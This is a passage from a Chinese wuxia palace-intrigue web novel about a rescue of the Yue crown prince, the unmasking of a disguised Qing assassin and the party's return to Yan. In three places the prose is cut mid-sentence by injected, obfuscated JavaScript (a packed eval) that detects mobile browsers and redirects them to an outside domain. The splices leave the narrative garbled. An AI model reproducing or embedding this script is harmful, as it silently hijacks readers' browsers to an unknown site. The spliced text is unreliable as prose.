沈星显然早已看出其中的关窍,轻轻发出一丝冷笑:“所有人都知道,萧权是被燕国使团挟持出宫的,若是死了,必然只会认定是咱们大燕中人动的手。至于这些侍卫,无非就是来得太迟,没能及时救下他们太子殿下的性命,反正到时候如何编造只凭他们一张嘴,谁又会去追究其中真相究竟如何?” 温珩虽然性情敦厚,但对于宫中那些尔虞我诈的阴毒手段并非一无所知,此刻对方稍加提点,便已知燕国使团此番前来,已经被卷入了越国皇室的内斗之中。 如果萧权就此丧命,不仅魏弘宣会成为替罪羊,燕、越两国延续了几十年的和平局面,也将就此不保。 到了那个时候,即便碍于燕国一直以来的威慑力,越国不敢轻易动兵,但心存怨恨之下,难保不会与庆国暗中结盟。 一旦越、庆两国形成犄角之势,燕国子民从此就再以难享太平了。 念头至此,他将牙一咬,彻底下定了决心:“既是如此,咱们不如奋力一搏,无论如何,萧权的性命必须保住!” 听他心意已决,下一刻便就要冲出去,沈星赶紧抓住了他:“温公子的意思我明白。只是如今如今六殿下与你姐姐还在祠堂之中,一旦动起手来,惊动了旁人,他们很可能会遇到危险。若是六殿下出事,就算擒住了萧权,也是无用!” 温珩知他说得有理,不由得焦急了起来:“那你有何打算?” 沈星压低了声音:“你先守在这里,别着急现身,等我把萧权给你送过来,你便速速将他带回去,然后找个安全的地方将大家看护好。其余的事交给我,知道了么?” 温珩本想问你要怎样将萧权送过来,然而还没来得及开口,沈星已经纵身一跃,如一只轻灵的鸟儿一般,冲向了巷口的方向。 短短半日之内,历经了父皇中箭,自己被劫,萧权早已身心俱疲,如今好不容易盼来的救兵,却又一心只想置他于死地。 虽说平日里他也练习过一些武学上的功夫,但大多只是强身健体之用,几乎没有遇到过和人这样搏命相斗的时候。 如今一番缠斗下来,他只觉得中刀的次数也越来越多,意识也在逐渐模糊。 眼见一道寒光闪过,刀锋已然就在眼前,萧权干脆将脊背一挺,怒视着眼前的袭击者,就盼着能在死亡之前,将对方样貌牢牢记下,变成鬼之后找他复仇。 电光火石之间,一道掌风凌空劈下,击向了持刀者的头顶。 随着“啪”的一声响,那名持刀的侍卫连惊呼声也没来得及发出,便已经双眼圆瞪,“咚”地一声倒在了地上。 眼见天将救星,萧权心下一喜,忍不住就想开口称谢。 然而在看清对方的衣饰样貌后,终究还是牙齿紧咬着没吭声。 面对这半途忽然杀出个程咬金,原本已然志在必得的追杀者们一时间都有些愣神。 面面相觑之间,一个首领模样的瘦高个接过身边人的火把,朝着沈星的方向照了照:“阁下何人?竟然在此多管闲事?” 沈星冷声一笑,口气里都是不屑:“你还有心情关注我是何人?谋杀太子乃是死罪,但若杀不了太子,你的主子大概也不会给你留活路。所以无论今晚你的任务是否能完成,你的狗命都已经保不住了!我和你一个必死之人,还有什么废话好说?” 那人被他戳中心事,骤然间脸色大变。 萧权也从他的嘲讽中反应了过来,只觉又惊又怒:“你们好大的胆子,竟敢私下勾连,谋害于我!究竟是谁派你们来的?” 瘦高个叹了口气,声音里都是凉意:“太子殿下关心此事又有何用?难不成你以为多了个帮手,便能有活路么?” 经过了方才一番缠斗,萧权已然意识到,这些追杀者身手不凡,并不是普通的越国侍卫可比,沈星就算功夫再好,以一敌多的情况下,也很难保他安全逃脱。 但若真的就这么不明不白地死了,他又觉得不甘心。 见他还欲追问,沈星暗中拽住了他,低声提醒道:“太子殿下,究竟谁要害你,此事可以慢慢再查,眼下最重要的是先将性命保住!你若想活命,就先答应我一个条件。” 萧权权衡利弊,很快冷静了下来:“什么条件?” 沈星将声音压得更低了些:“若是得救,你以后可得老老实实的呆着,别再到处乱跑,给大家添麻烦,知道了么?” 没等他再回答,沈星已然抓住了他腰带,凌空抛起,朝着巷子深处扔了出去。 片刻之后,随着“啪”的一声闷响,他已经重重地摔在了地上。 方才缠斗之时,萧权身上已经大大小小受了不少伤,如今经此一摔,更是觉得灵魂出窍,五脏六腑几乎都要散掉一般。 还没等他回过神来,有人已经拎着他的后颈迅速将他拽起,低低说了一声“走”。 紧接着,他便踉踉跄跄地拉进了墙角的阴影处。 瘦高个原本认定了他们已是牢中困兽,无论如何折腾,都逃不出自己的手心。 一直没有着急动手,也只是在暗中思量,这个半途杀出的程咬金,对追杀太子一事的真相,究竟知道多少。 如今忽然发现萧权被扔到了巷子深处,他心下一惊,迅速收敛心神,示意身边的同伴追过去看个究竟。 然而沈星单枪匹马地守在那,却犹如鬼魅一般,但凡近身者,不过廖廖数招,便会哼声倒在,再也爬不起来。 随着身边的同伴一个接一个的倒下,瘦高个的表情也越发凝重。 凝神细看了一阵,很快厉声呵斥道:“你究竟是什么人?和夜行鬼曹方是什么关系?” 沈星神色不变,开口之际手下的动作依旧未停:“我说我是他爹,你信不信?你若实在羡慕,跪下磕三个头,我现场认了你这个干儿子也不是不可以!” 瘦高个早以从他那轻灵奇诡的身法上,认定了他受教于当年江湖上声明赫赫的杀手夜行鬼曹方。 可江湖之人最重师徒之道,再是大逆不道之人,也不会一脸不屑地对自己的师傅大放厥词。 此刻听他满口胡言乱语的占自己的便宜,瘦高个只觉得怒气横生。 下一刻,他却像是从对方那满是轻佻的态度中回想到了什么,瞬间双目圆瞪,厉声呵斥道:“臭小子……原来是你?你居然还没死?” 沈星啧啧一声叹:“你眼力劲倒是不错,这么快就认出了小爷我!当初小爷看你一直跪地求饶,实在可怜。才留你一条性命,难道你都不长点教训的么?” 这瘦高个因为武功极 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284571|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高,在侍卫们当中向来颇有威信。 此刻听说他为保性命,曾经跪地求饶,众侍卫的表情都变得有些惊疑不定。 瘦高个被他一再挑衅,再也忍耐不住,当即将手中的火把狠狠一抛:“你当年杀我胞弟,我早该将你千刀万剐,让你死在我的掌下,也算是便宜了你。如今你既然还活着,那咱们就把旧账好好算一算,也让我好好见识一下,曹方的弟子究竟有多大的本事!” 见他要亲自下场,侍卫们不由都精神一振。 沈星却依旧还是笑笑的:“我都跟你说一百遍了,没人稀罕做什么曹方的弟子。不过你既然那么想找他讨教,我倒是可以成全你……如今曹方早已经一命呜呼已去见了阎王,只要把你也送下去,你两就能在地府里一较高下,这法子你看怎么样?” 虽然知道对方这番话是在激怒自己,那瘦高个还是忍不住满心狂怒,当即欺身而上,朝他一掌劈去。 沈星虽说满嘴挑衅,但早已浑身戒备,对方身形才动,立马矮身一退,已经避开了他的掌风。 瘦高个杀心已起,一心只想要他的性命,没等他站稳,立马又是一掌劈出。 几番来往之下,眼见沈星左躲右闪,极是狼狈,却始终不肯和他正面交手,瘦高个心下急躁,禁不住冷声相激:“你方才不是很神气吗?怎么如今变成缩头乌龟了?” 沈星撇了撇嘴,口气中都是无奈:“你这老怪物掌上都是毒,被你打中了不死也得丢半条命,老子当年已经吃过一次亏了,如今当然是能躲多远就躲多远了!” 瘦高个当年已然见识过他的流云踏月步,如今功力精进之下,步伐更是精妙。 若是继续这样纠缠下去,很可能让他随时溜走。 情急之下,他当即将手一挥,向着侍卫们发下号令:“你们将他给我围起来!我倒要看看他究竟还能往哪里躲!” 那巷子本就窄小,宽度只能容四人并肩,听他交代后,原本四下站着的侍卫立马手持长刀,团团围上,很快将四下里围了个密不透风。 如此情况下,沈星再想避开与他正面交锋已是不可能。 眼见如此,他只能重重一声叹:“你既如此无赖,我认输也就是了。不过临死之前,能不能让我留句遗言?“ 胜券在握的情况下,瘦高个也不怕他再玩什么花样:“你还有什么可说的?” 就这短短一瞬的喘息之机,沈星忽然扬起了嗓子:“几位侍卫大哥,你们可想清楚了,今日你们听命与他,以为是在替未来的储君行事,但事实上,最终受益的却是庆国人!无论我是死是活,你们都难逃一死,最后还要落个卖国叛主的名声,这样真的值得么?” 听他如此一说,侍卫中明显有人犹豫了起来:“你把话说清楚!什么庆国人?” 沈星伸手指向了瘦高个:“你们大概还不知道吧,这位兄台姓贺名兰,多年前在庆国可是赫赫有名的大人物,如今隐姓埋名在越国藏了这么久,是何居心难道各位还不清楚么?” 贺兰不料他竟然当着众人的面揭开了自己的身份,想要阻止却已来不及。 没等那些侍卫再做反应,他已经身体急转,冲着周边的一干人等,接连拍出了几掌。 侍卫们原本还在犹豫着沈星之言究竟是真是假,根本没想到自家首领会忽然变脸对自己动手,根本没来得及招架,便已纷纷倒在了地上。 眼见那些侍卫中掌之后,脸上迅速浮一层黑气,很显然即便不是命中要害当场毙命,最终也会死于毒发的折磨,沈星有些不忍地叹了口气:“干儿子,我说你这性子也太急了,我不过随口一说,你便将他们都杀了。反正我也没证据,若是你耐心一点,愿意哄哄他们,也不至于这么快便没了帮手。” “帮手?” 贺兰被他连嘲带讽,也知自己再次中计,一声冷笑后,缓缓亮出了黑气沉沉的一双手掌:“这些无用之徒,留着也没什么用。至于你……我一人便已足够了!” 36. 交易 自温珩与沈星追着萧权离开之后,温沉吟便迅速将祠堂有人来过的痕迹清理干净,带着魏弘宣藏到了摆放灵牌木桌之后。 虽然为了安慰对方,她一再表示以温珩和沈星的身手,定会将萧权顺利带回,但内心深处,却依旧满是忐忑。 他们尚在越国帝都,不仅环境陌生,四下里还都是越国士兵在不断搜寻,一旦行迹暴露,魏弘宣便再无脱身的可能。 何况那个沈星身上,还藏着许多的疑点,即便越国使团是因他相助,才逃出皇宫,但也不能判定对方究竟是敌是友。 思绪纷扰之际,祠堂外突然传来几声动响。 温沉吟心下一惊,立马将温珩留下的尖刀塞到了魏弘宣的手中:“殿下,若来人并非阿珩,我便出去将他们引开。你保护好自己,找机会与其他使团中人汇合!” 魏弘宣见状,赶紧拉住了她的手,将尖刀又递了回去:“温姐姐,此事因我而起,理因由我自己承担!若真是追兵到了,我出去便是,他们必然不会与你为难!” 温沉吟不料他会如此固执,正待再劝,熟悉的声音已然响起:“姐姐,我回来了,你与殿下还在吗?” 听出是温珩的声音,温沉吟心下一松,赶紧从木桌后现身,奔到他身前:“阿珩,你还好吗?有没有伤到哪里?” “我没事,只是太子殿下受了点伤,不知情况如何了。” 听闻萧权受伤,温沉吟不敢怠慢,赶紧重新将烛火亮起,仔细检查了起来。 索性萧权虽然浑身是血,模样看上去十分狼狈,但大多都只是些皮外伤,并不危及性命。 条件有限的情况下,温沉吟也没有更好的办法,只能在靠墙的地方点起了火堆,烧了些柴灰帮着止血,然后让他靠在旁边自行休息。 历经了大半天的折腾,萧权只觉得身心俱疲,刚坐下没多久,便满是疲惫地合上了眼睛。 安置好萧权之后,温沉吟悄悄将温珩拉到了一遍,细细询问起了祠堂外所发生的一切。 虽然事先已经有了一定心理准备,但听闻行凶之人竟是借着搜救萧权的由头对他进行追杀后,温沉吟还是皱紧了眉头。 魏弘宣出使越国一事,必然与银骊姬脱不了干系,进入越国之后,无论是萧赢中箭,还是萧权被追杀,显然也是早有预谋。 只是以银骊姬再是心机深沉,毕竟长期深处后宫之中,以她的背景手腕,应该很难在遥远的越国宫中掀起这么大的风浪。 也就是说,除她之外,中间应该还有一股势力,在操控着整盘阴谋。 见她眼神怔怔,似是心绪难平,温珩忍不住伸手在她眼前晃了晃:“姐姐,你在想什么?” 温沉吟不想危局之时,还让他担心,于是赶紧收敛心神,随口敷衍道:“我是在想,既然越国宫中也不太平,萧权如今也已是自身难保,以后咱们行事须得更加小心些才是……” 说到这里,她抬眼看向祠堂外:“对了,沈大人呢?他没跟你们一起回来么?” 温珩摇了摇头:“没有……他担心你和六殿下无人保护,便让我先回来了。不过我瞧他身手极好,人又聪明,对付几个普通的侍卫,应该足以自保。姐姐若实在不放心,要不我就再出去瞧瞧……” 话音刚落,紧闭着的祠堂大门忽然被人重重推开。 夜风呼啸之间,一个瘦高个手捂着脖子,跌跌撞撞地闯进了祠堂之内,然后“咚”地一声倒在了地上。 这突然起来动静不经惊醒了昏睡中的魏弘宣与萧权,也让温氏姐弟的神经瞬间绷紧。 片刻之后,萧权猛地跳了起来,怒声惊呼道:“是他!这便是方才想要杀死我的那个反贼!” 温珩也已经从对方的衣饰上认出了对方便是不久前围剿萧权的侍卫首领,此刻见他双眼紧阖,胸膛已经没了起伏,脖子上也都是血污,像是已经死透了,忍不住凑身而上,想要从他身上翻找出一些有用的线索。 身体刚蹲下,门外忽然传来一声呵斥:“温公子小心!” 温珩闻言一惊,立马将手一收,疾步向后退去。 几乎同时,瘦高个已经睁开双眼,跃身飞起,拼着最后的力气,朝着萧权的方向扑了过去。 萧权见势不妙,想要闪避,匆匆退了两步之后,身体却已经抵到了墙角。 眼见对方那泛着黑气的手掌已经就在眼前,萧权惊骇之下,下意识地闭上了双眼。 电光火石之间,沈星飞身而至,凌空一脚踢向瘦高个的手臂。 瘦高个攻击受阻,自知再无机会,当即不退不让,借势抓紧了沈星的小腿。 沈星被他抓住,却也并不惊慌,另一条腿勾住了他的脖子,在空中将腰身重重一拧。 随着颈骨断裂的声响,瘦高个再次倒地。 沈星也脚步趔趄着退到了墙脚,像是浑身力气被抽干了一般,慢慢滑坐到了地上。 温沉吟心知一场鏖战之后,对方必定已然精疲力竭,原本也不欲打扰。 然而晃眼之间,见他微曲起来的右边小腿上鲜血淋漓,显然是刚才的缠斗中被那瘦高个抓伤,便赶紧从裙摆处撕下几片布条,想要替他包扎伤口。 沈星显然也明白了她的用意,见她走近,便低声表示:“多谢温小姐,只是眼下这伤口还不便处理。” 温沉吟只觉不解:“为什么?” 沈星像是有所犹豫,但还是耐心解释道:“此人掌中带毒,此刻我既被他抓伤,须得先将毒血逼出,才能将性命保住,温小姐若真想帮忙,不如借我你手中的匕首一用?” 听他要用匕首,温沉吟赶紧递了过去。 沈星将匕首接在手中,见她依旧紧盯着自己,似乎没有要离开的意思,不禁轻声提醒道:“温小姐何不去看看六殿下?方才他受了惊吓,怕是需要人照顾。” 温沉吟知道他有心支开自己,但又实在放心不下:“六殿下有阿珩照顾着,你放心便是。我留在这里,你若有什么需要,我也能帮帮忙。” 听她口气坚决,沈星也不再坚持,当即刀尖一转,便朝着小腿处的伤口刺了下去。 那一刀刺得极深,小半截的刀身都已经陷在了肌肉里。 随着刀锋下划,肌肉不断被撕开,沈星浑身颤抖之下,脸色已是一片惨白。 温沉吟自母亲身故之后,潜心钻研药物多年,也曾从书本中看过关羽剔骨疗毒的典故,但却从未亲眼见识过如此惨烈的场面。 面对那深可见骨的伤口,她屏住呼吸,不敢稍动,只觉得牙关处一阵酸气上涌。 不知过了多久,眼见对方伤口处流出的血已经由最初的黑紫色变得鲜红,她才重重喘了一口气,赶紧握住了他的手:“好了!沈大人,如今血色见红,应该没事了!” 沈星将手一松,匕首脆声坠地,一直勉力撑住的身体也跟着软了下去,迷迷糊糊地靠在了她肩头。 温沉吟从未与男子如此亲近,此刻与他近身相贴,只觉得温热的呼吸一阵阵抚摸着她的脖颈,不由得心跳如鼓,一阵强似一阵。 但对方此举不过是力竭之下的下意识反应,并非有意而为之,若此时将他推开,却又有些于心不忍。 半晌之后,沈星像是终于从巨大的疼痛中清醒了过来,慢慢坐直了身体,满是歉意地冲她笑了笑:“多谢温小姐,在下冒犯了。” 温沉吟心下窘迫,也不知该如何回应。 匆匆将他的伤口包扎好后,便快步退向了一边。 历经了一场乱局的祠堂内终于重新回复了平静。 一行人就地而坐,借着火堆带来的温暖,静静地等待着天明。 只是那瘦高个的死状太过惨烈,就那样直挺挺的躺在祠堂中央,难免让人心下难安。 温沉吟担心魏弘宣害怕,于是找了些稻草,想要将他的脸盖起来。 将稻草堆上对方脸颊的那一刻,她忍不住又仔细看了看。 因为沈星最后的那一脚,对方颈骨已断,头斜斜地侧向了一边。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296665|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >借着柴火的光亮,温沉吟忽然发现他耳后的地方,竟有一块皮肤微微卷翘了起来。 温沉吟心下一跳,隐隐只觉得有什么不对劲。 为了验证自己的猜想,她迅速蹲下身去,取下头上的发簪,在那块皮肤的位置重重一挑。 随着一道细纹裂开,一张轻薄的皮面轻轻翻起,露出了藏在面具下的人体肌肤。 发现她动作有异,其余人等也跟着围了过来。 见到眼前这一幕,萧权当即抢过她手里的簪子,泄愤似的开始在他脸上拨弄。 片刻之后,那张面具全然被揭开,一张容貌尽毁的面孔赫然出现在众人的面前。 萧权只觉得又惊又怕,狠狠将手里的发簪一抛,恨声质问道:“此人竟然易了容?可他究竟是什么人?居然假冒侍卫,在我越国兴风作浪?” 温沉吟心中已有了答案,当即冷声表示:“太子殿下稍安勿躁,如果我没猜错,此人便是庆国有名的高手贺兰!” 听她如此笃定地说出答案,沈星眼神微微一动,表情变得有些复杂。 萧权却越发惊诧:“你说他是庆国人?可你又是如何识得?” 随着回忆纷至沓来,温沉吟的口气变得有些伤感:“多年之前,此人曾经潜入大燕,还打伤过我的一个朋友。虽说那是他也易了容,并未以真面目示,我却记得他的身形体姿。而且贺兰擅用毒掌,又曾经被仇家毁过容,因此才会常年带着面具掩饰身份,这些特征都与此人不谋而合。如今他伪做侍卫,行谋害太子之事,想来也是庆国的阴谋!” 听闻她有朋友在贺兰手下吃过亏,萧权顿生同病相怜之感:“庆国人狼子野心,四下滋事,若非你揭穿他的身份,我至今都还被蒙在鼓里!若将来回宫,我必定请父皇好好严查!不过这么多年过去了,温小姐仅凭身形便能将他认出,想来你的那位朋友,一定对你很重要!” 听他提起裴瑾,温沉吟只觉得心下酸楚,但当着众人的面,却也不愿泄露出自己的软弱。 而萧权也在一番激愤之后,意识到“回宫”并非易事,很快也陷入了沉默。 两相静默之间,温沉吟缓步走到了萧权身旁,摆出了一副谈判的架势:“太子殿下,经过今晚之事,想必你也很清楚,如今宫外危机四伏,即便有侍卫找到了你,也难保是敌是友。若你想保住性命,安全回宫,不如咱们双方做个交易如何?” 萧权虽是满腹怨气,却也知道她所言不虚,于是也放缓了态度:“你想如何交易?” 温沉吟心中已有计较,当即曼声表示:“越国的环境我们不熟,但殿下身为太子,自然清楚如何才能助我们脱离险境。到了边境之处,殿下便可向心腹之人传递消息,请他们护送你回宫!” 萧权想了想,依旧心有疑虑:“若你们到了安全之处,便将我杀了怎么办?” 温沉吟皱了皱眉:“我们若有心杀你,今日又何必冒险救你?” 萧权紧咬着牙,内心像是在极力挣扎着,直到目光落在沈星那血迹斑驳的小腿上时,才犹犹豫豫地表示:“你们今日救我,不就是想留着我做挡箭牌护你们回国么?若到时候我没了利用价值,又怎知你们会如何对我?” 温沉吟知他刚刚在鬼门关前转了一圈,眼下实在很难信任任何人。 但若要顺利脱离,又必须取得他的信任。 正在为难之际,魏弘宣走了过来,神色肃然地朝他的方向施了一礼:“太子殿下,我知道此次无奈之下,将你劫出宫外,已经给你带来了很多麻烦,但我们也只是想顺利脱身,将事情查明而已。我魏弘宣在此以燕国皇室血脉的身份向你起誓,必会信守承诺。还望殿下能信任我们,共度危局。” 萧权没想到这自从事发之后,就一直六神无主,像是丝毫没个主意的小皇子竟会在这个时候站出来,并以皇族血统起誓,来争取他的信任。 半晌之后,他也满是郑重地向对方还施一礼:“既是如此,那萧权的性命,便交予六殿下了。” 37. 归程 有了萧权的配合,魏弘宣的回国之路变得顺利了很多。 在他的帮助下,一行人换上了越国人的装束,专门挑选着远离人烟的荒郊小道行走,不仅成功避开了各种关卡,也没有再遇到过侍卫的围堵和盘查。 只是沈星依旧表现得十分谨慎,即便是在休息时,也从未有半点放松过警惕。 许多个夜晚,温沉吟从梦中醒来时,见到他盘膝而坐,守在那里,都会对着他挺拔如利剑般的背影注视良久,才会重新阖上眼睛。 如此事事小心的折腾了小半个月,一行人终于走到了燕越两国边界处的一处小镇。 虽然很清楚,只要还在越国的土地上,形式就可能随时生变,但眼见萧权的情绪随着目的地的到达而日渐不安,魏弘宣还是主动表示:“太子殿下,如今只要翻过前面那座山,便是我燕国国土。按照约定,殿下可传讯于可信之人,将你送回帝都!” 萧权似是没料到他如此坦诚,惊喜之余,也难免有些惊诧:“我越国在此地驻有重兵,殿下就不担心我得获自由之后,命人将你们擒回么?” 魏弘宣正色表示:“与朋友交,言而有信。何况太子殿下乃一国储君,所许之诺,弘宣自是信得过的!” 萧权满是复杂地看着他,也不知是在嫌弃他的天真,还是欣赏他的坦直。 只是身为皇子,他也知道对方的这番信任是多么的难能可贵,心中再有何种想法也好,最终却还是狠狠一咬牙:“好!待护卫之人一到,本宫必会送你们安全回到燕国!” 消息送出去没两日,一位在当地驻守的年轻将军便已领着人马匆匆赶到。 确认了自己已然安全,萧权也没再耽搁,当即与随行的兵士们一起,将他们送至边界山脚。 温珩原本一直觉得魏弘宣此举太过冒险,于是早早便交代了温珩,一路暗中警惕,只待萧权有所异动,便如在越国宫中一般,再次将他擒回。 眼下见大局已定,她一直高悬着的心才终于放了下来。 几句寒暄之后,双方也到了正式告别的时候,温沉吟却悄然踏步向前,朝着萧权的方向,递出了一个布袋。 萧权只觉不解,立马打开看了看,发现里面竟是一些药丸之后,他不禁面露惊诧:“温小姐赠我此物,是何用意?” 温沉吟垂着眼睛,口气十分恭敬:“臣女见太子殿下近些日子身起红疹,燥热难安,夜间总是难以入睡,所以特意呈上一些药材,还望能替陛下排忧解难!” 萧权愣了愣,随即反应了过来。 当初双方虽以皇族之誓约定了合作,但温沉吟却并不能完全放心,因此不知何时,便已在他的身上动了手脚。 如果他中途生事,对方必定会因此以此为威胁,令他投鼠忌器。 只是事到如今,再去计较此间种种已是无用,何况对方又已将解药奉上,以示诚心。 萧权再是愤闷也好,也只能一边将东西收下,一边恨声表示:“温姑娘好手段!六殿下得你相助,必然前途无量!” 温沉吟怕他误会,赶紧解释道:“太子殿下误会了,六殿下光风霁月,信守承诺,对此事并不知情。此次行事,不过是臣女形势所迫之下的无奈之举,还望太子殿下切勿见怪。” 萧权明白她的顾忌,满心倦怠之下,也无意再与她纠缠。 正待挥手辞别,温沉吟却再次将他拦下:“太子殿下,臣女还有一事打扰,不知是否能借一步说话。” 见她如此举动,温珩已知她是要打探裴瑾的消息,不禁也有些紧张。 沈星却是一副事不关己的模样,双眼微阖着,远远等在了一旁。 萧权被擒之后,几番被她设计威胁,心中难免怨恨。 眼下见她似有私事相聊,更是满心戒备。 温沉吟却不再与他绕弯子,站定之后,很快便开门见山地问道:“臣女听闻三个月前,殿下在郊外策马时,曾因马匹受惊,被一青年男子救下?” 萧权策马受惊一事涉及越国朝堂之争,事后更是有人因此被问罪处决。 此中缘由,自然也很难放上台面。 萧权没想到她会突然提及此事,神情变得越发警惕:“此事你如何知晓?” 温沉吟知道他一路历经磨难,已如惊弓之鸟,于是只能耐心解释道:“当初陪太子殿下策马的徐恙,去往燕国之后,便卷进了一桩与庆国暗探有关的案子。而他卷进案子原因,正是与殿下所遇之事有关……臣女无意探问越国朝堂中事,只是怀疑当时将殿下救下之人,是臣女的一位失踪已久朋友,所以才特意前来求证,还望殿下实言告知!” 听她提到徐恙,而且口气真挚,不似做伪,萧权终于放下疑虑。 仔细回想了一番后,他摇了摇头:“本宫所遇之人,应该不会是温小姐的朋友……但你若说那人与庆国暗探有关,倒也不是没有可能。” 温沉吟闻言大惊:“殿下何出此言?” 萧权道:“徐恙是否告诉你,当初那青年出现在山林中时,还有一人与之同行?虽然那人始终藏于密林之中未曾现身,但出声呼唤那青年时,却带着很明显的庆国口音。温小姐乃燕国重臣之女,你的朋友又如何会于庆国人结伴而行?” 在他轻描淡写的回答声中,温沉吟如遭雷击,原本满是期盼的一颗心,也一点点的沉了下去。 在此之前,她已经认定了徐恙口中的那个青年就是裴瑾,此番来到越国,无非就是想向萧权求证徐恙所言非虚,再仔细问问其中的细节,看看是否能有新的收获。 但如今萧权的一番话,不仅她所有的期待打碎,更是让她心生惊虑。 正如对方所说,如果当时那人真是裴瑾,他为何会与一个庆国人行迹亲密,且迟迟不回燕国呢? 怀着满腹的心事,温沉吟辞别了萧权,就此踏上了归程。 进入燕国地界后,魏弘宣很快与当地驻军取得了联系,并在他们的护送下,日夜兼程的赶向了天启。 好不容易脱离险境,回到了自己的国土,魏弘宣和温珩一直紧绷着的神经都放松了不少。 温沉吟却因为萦绕在心中的疑虑,始终有些心神不宁。 距离入京还有三日路程时,魏弘宣将众人召集在一起,商量起了进宫奏报之事。 按照他的想法,越王遇刺一事关系重大,需第一时间进宫向魏栩明禀明。 但此事的牵扯之人甚多,眼下大部分的随行使臣又依旧被困在越国,生死未卜。 为了尽快将事情查明,魏栩明必定会遣人对他们细细查问,以便了解更多的细节,而这一番查问下来,显然并非一两日便可结束。 因此,在所有信息明确之前,他们这些人大概都需要暂留宫中。 温氏姐弟时常入宫,对宫中的一切并不陌生。 况且眼下温北堂远在北境,温府中既没有重要的人需要见面报平安,也没有特别的事情等着他们姐弟亲办。 因此对于后续的安排,他们倒也并不在意。 但沈星却像是心有顾忌,听闻要面见天子接受查问后,很快便流露出了为难之色。 魏弘宣只当他是惦记着家人,于是很快安抚道:“沈大人若是担心家人记挂,不如留个书信,将事情说明。我派人将信送到你的府中,这样你的家人也能安心。” 沈星闻言,脸上露出了一丝苦笑:“承蒙殿下关怀,小臣尚未婚娶,父母也不再京中,倒是没什么人需要记挂,只是……” “只是什么?” “只是小臣身份低微,平日里无幸得见天颜。如今要进宫面圣,心中难免忐忑。只是小臣一直伴在殿下身边,所见之事殿下也都亲历,不如就让小臣就留在宫外,以免见到陛下时说错了话,惹得陛下心烦……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296666|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他头脑聪颖,身手不凡,即便是被困在越国宫中,生死一线的时候,也是不慌不乱,从容冷静。 如今听说要进宫面圣,却忽然露怯,那满是不安的模样,竟是与之前的表现大相径庭。 见他忧心忡忡,魏弘宣正想再行安抚,温沉吟却先一步开口劝道:“大人才智过人,身手又好,此番能保六殿下顺利回朝,更是立了大功。陛下爱惜人才,想来定会对大人有所嘉奖。大人既已入仕,必是存了为国效力之心,难道还真打算守着现在的官职,不谋晋升么?” 她这一顶大帽子扣下来,顿时将沈星架在了那里。 几经犹豫之后,他终究还是没有再多说什么。 接下来的日子里,沈星像是一直忐忑着进宫之事,总是有些心事重重。 温珩与他相处了这一阵,对他的人品性情都颇为欣赏,为了让他宽心,便总是逮着机会在他身边提点面圣时的注意事项。 马车入京那日,日头已近午后。 想到一旦进宫,那场漫长的禀奏还不知道还拖到什么时候,一行人便先将马车在一家酒楼旁停下,打算填饱肚子之后,再行入宫。 魏弘宣在外颠簸了大半个月,只求填饱了肚子保命,对饮食上早已没了什么讲究。 即便这酒楼中的菜式无论是口味还是精致程度都与宫中相去甚远,但面对一道道热腾腾的食物,还是忍不住双眼放光,食指大动。 但即便如此,启筷之前他还是细心过问了一句:“沈大人呢?怎么没见他下车?” 温珩赶紧解释道:“沈大人这两日腿伤发作,总是不太舒服。我见他行动不便,便让他在车上歇着,一会把吃的给他送过去。” 听闻沈星身体有恙,魏弘宣也有些担心,匆匆将饭吃完后,便和温珩一同去他所乘坐的那辆马车里看了看。 车帘才被掀开,一股浓重的腥臭气已然扑面而来。 沈星靠着车墙,就地而坐,伤腿上包扎着的布料已经被扯开,正小心翼翼地擦拭着伤口处的脓血。 只是那伤口脓血横流,溃烂成一片,显然不是这样简单清理便能处理好的。 魏弘宣见状大惊,赶紧问道:“沈大人这是怎么了?你这腿伤之前不是已经开始愈合了么?怎么会忽然变成这个样子?” 沈星像是没想到自己最狼狈的一面会被对方看见,一时间也有点尴尬:“回殿下的话,小臣近几日总是觉得伤口处麻痒难当,腿也渐渐没了知觉,也不知是否是余毒未清……只是今日便要入宫面圣,小臣实在担心殿前失仪,才想着先简单处理一下,不想却让殿下受惊了……” 以他如今这副又脏又臭,还病怏怏的模样,的确是不适合在皇帝面前出现。 更何况,为了能让魏弘宣尽快回到燕国,他自受伤之后,一直日夜赶路,从没有认真找大夫处理过。 若是就这么继续耽误下去,也不知会恶化到什么程度。 眼下见他如此狼狈,魏弘宣很快打定了主意:“既是如此,沈大人还是别耽误了,我先派人送到你附近的医馆看看,把腿伤治好了再说。至于陛下那边,若是没有特别的话要问,沈大人此次也就不用再进宫了。” 见他如此体谅自己,沈星不由得满是感激,千恩万谢了一番后,便按照对方的嘱咐,指挥着马车,朝着医馆的方向而去。 